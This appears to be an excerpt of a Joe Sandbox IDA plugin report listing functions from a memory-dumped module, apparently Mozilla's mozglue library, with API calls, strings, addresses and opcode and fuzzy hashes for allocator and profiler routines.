Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

nvd3d9wrap.dll, xrefs: 6C694466
nvinit.dll, xrefs: 6C694479
C>il, xrefs: 6C693E93

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-416255230
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10
MOZ_CRASH(), xrefs: 6C670CA7

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6C6A606D
ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
data, xrefs: 6C6A6131
expected a Count entry, xrefs: 6C6A5AC3
expected a Time entry, xrefs: 6C6A5CB6
name, xrefs: 6C6A5E79, 6C6A5E8F

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C667810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C667885
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6678A5
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C6678AD
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C6678CD
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C66795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C6679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C667BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C667C82
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C667CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C667DAF

Strings

Dml, xrefs: 6C66789F
Dml, xrefs: 6C66787F

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dml$Dml
API String ID: 759993129-3425531392
Opcode ID: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction ID: 125649142443908d71c898b46f96a21a619487f8041afc8721a811fe35b8d554
Opcode Fuzzy Hash: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction Fuzzy Hash: D3027471A0121ACFDB54CF1AC984799B7B5FF88318F2542AAD809A7B11D730BE91CF85

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

get , xrefs: 6C6A3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D
set , xrefs: 6C6A36EC

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C697E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C6981E3, 6C698311
data, xrefs: 6C698280, 6C6983E1
(pre-xul), xrefs: 6C697E88
name, xrefs: 6C697ECF, 6C698335
vml, xrefs: 6C698207

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vml
API String ID: 3412268980-1127494330
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C6B5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C6B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qel,?), ref: 6C6B6046
OutputDebugStringA.KERNEL32(?,Qel,?), ref: 6C6B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C6D148E), ref: 6C6B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qel,00000000,?), ref: 6C6B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B60C4

Strings

Qel, xrefs: 6C6B5FFC, 6C6B6042, 6C6B6045, 6C6B60B3

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qel
API String ID: 3835517998-143502305
Opcode ID: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction ID: 0bee4949a3c12674624caf69fdf099db811cb994a11b43c0f01aa4cdd0b21ba7
Opcode Fuzzy Hash: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction Fuzzy Hash: 5F21C971A002089FDF105F25DC89AAE7BB8FF85714F008428E95AD7241CB75B559CFEA

Function 6C675E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C6761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C677652

Strings

ewkl, xrefs: 6C675E9C, 6C675F22, 6C6761ED
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C67730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6772F8
MOZ_CRASH(), xrefs: 6C677BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C677BCD, 6C677C1F, 6C677C34, 6C6780FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6772E3

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewkl
API String ID: 2613674957-540203688
Opcode ID: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction ID: 13738e89483b599a26ee7064ab1de4d6f5ddb4f79b35eb5c83b6c5f952d12e41
Opcode Fuzzy Hash: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction Fuzzy Hash: 9C33BC716067018FC325CF28C590615BBE2FF85328F29CBADE8698B7A5D731E841CB59

Function 6C6A4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

schema, xrefs: 6C6A48C1
ProfileBuffer parse error: %s, xrefs: 6C6A4DD9
data, xrefs: 6C6A49B4
-%llu, xrefs: 6C6A4825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C6A4CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C6A4DB8, 6C6A4DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C6A4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C6A4D0A
ml, xrefs: 6C6A4F88

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID: ml$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1201911369
Opcode ID: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction ID: 8fcfe4031aeec2e59cb8cdb0fc181e9fe1cd57aec7edbe6baab26d8344da2cb0
Opcode Fuzzy Hash: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction Fuzzy Hash: 90723F71958B858BD361CF34C4513ABF7E5BFDA344F108B1DE48A6B610EB70A886CB46

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C6B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C6B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C6B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B707E

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B709C
LocalFree.KERNEL32(?), ref: 6C6B70AA

Strings

### ERROR: %s: %s, xrefs: 6C6B7087
(null), xrefs: 6C6B706A, 6C6B7083

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

